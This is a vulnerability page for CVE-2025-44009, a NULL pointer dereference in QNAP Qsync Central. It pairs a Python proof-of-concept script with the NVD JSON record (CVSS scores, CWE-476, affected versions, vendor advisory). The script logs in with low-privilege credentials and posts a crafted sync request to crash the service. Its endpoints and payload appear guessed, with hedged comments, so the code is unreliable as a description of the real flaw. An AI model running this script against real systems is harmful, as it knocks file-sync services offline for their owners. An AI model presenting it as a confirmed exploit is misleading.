CVE-2025-44009

# CVE-2025-44009 - Qsync Central NULL Pointer Dereference PoC # This PoC demonstrates triggering a NULL pointer dereference to cause DoS # Note: Requires valid low-privilege user credentials on the target Qsync Central import requests import sys TARGET_URL = "https://target-qnap:8080" # Qsync Central service endpoint USERNAME = "low_priv_user" # Valid low-privilege account PASSWORD = "user_password" # Valid password for the account def trigger_null_deref(): """ Send a crafted request to Qsync Central that triggers NULL pointer dereference. The malformed request causes the server to dereference an uninitialized/NULL pointer, resulting in a service crash (DoS). """ session = requests.Session() # Step 1: Authenticate with valid low-privilege credentials login_url = f"{TARGET_URL}/cgi-bin/qsync/login" login_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) print(f"[+] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable endpoint fails to validate a critical object pointer # when processing certain parameters, leading to NULL dereference trigger_url = f"{TARGET_URL}/cgi-bin/qsync/sync" # Crafted payload designed to bypass normal validation and trigger # the NULL pointer dereference in the vulnerable code path crafted_payload = { "action": "sync", "path": "", # Empty path may lead to NULL resource handle "resource_id": None, # NULL resource identifier "mode": "invalid" # Invalid mode triggers unhandled code path } headers = { "Content-Type": "application/json", "User-Agent": "QsyncClient/4.x" } try: resp = session.post(trigger_url, json=crafted_payload, headers=headers, verify=False, timeout=10) print(f"[+] Trigger response status: {resp.status_code}") except requests.exceptions.ConnectionError: print("[+] Target service appears to have crashed (DoS successful)") except Exception as e: print(f"[*] Request result: {e}") if __name__ == "__main__": trigger_null_deref()

{"cve": {"id": "CVE-2025-44009", "sourceIdentifier": "[email protected]", "published": "2025-10-03T19:15:42.530", "lastModified": "2025-10-08T19:50:28.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.1 ( 2025/07/09 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0.0", "versionEndExcluding": "5.0.0.1", "matchCriteriaId": "1CCFCB2F-05FA-460B-BD0D-966E7CE58D8A"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-34", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}